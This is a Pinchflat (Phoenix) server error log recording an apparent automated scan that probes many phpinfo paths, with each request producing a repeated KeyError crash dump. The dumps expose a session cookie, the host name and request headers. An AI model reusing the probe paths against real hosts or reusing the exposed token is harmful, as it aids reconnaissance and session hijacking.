(PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 233, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ (truncated) 02:10:24.701 [info] GET /tmp/phpinfo.php 02:10:24.702 [debug] QUERY OK source="settings" db=0.5ms idle=187.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.703 [debug] QUERY OK source="settings" db=0.2ms idle=128.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.703 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.704 [error] #PID<0.3538.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 234) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /tmp/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tmp/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tmp/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 234, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3538.0>, params: %{}, path_info: ["tmp", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/tmp/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7FBgnMWbv2sAATpB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tmp/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 234, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tmp/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tmp/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 234, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ (truncated) 02:10:24.763 [info] GET /public/phpinfo.php 02:10:24.763 [debug] QUERY OK source="settings" db=0.1ms idle=188.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.764 [debug] QUERY OK source="settings" db=0.1ms idle=119.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.764 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.764 [error] #PID<0.3539.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 235) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /public/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 235, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3539.0>, params: %{}, path_info: ["public", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/public/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7FQOThRf420AATqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 235, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 235, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8S (truncated) 02:10:24.836 [info] GET /info 02:10:24.837 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=192.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.838 [debug] QUERY OK source="settings" db=0.2ms idle=135.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.838 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.838 [error] #PID<0.3540.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 236) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /info ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 236, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3540.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/info", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7Fhub8avsBIAATrB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 236, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 236, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.t (truncated) 02:10:24.900 [info] GET /php-info.php 02:10:24.901 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=197.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.902 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=138.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.902 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.903 [error] #PID<0.3541.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 237) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /php-info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php-info.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => 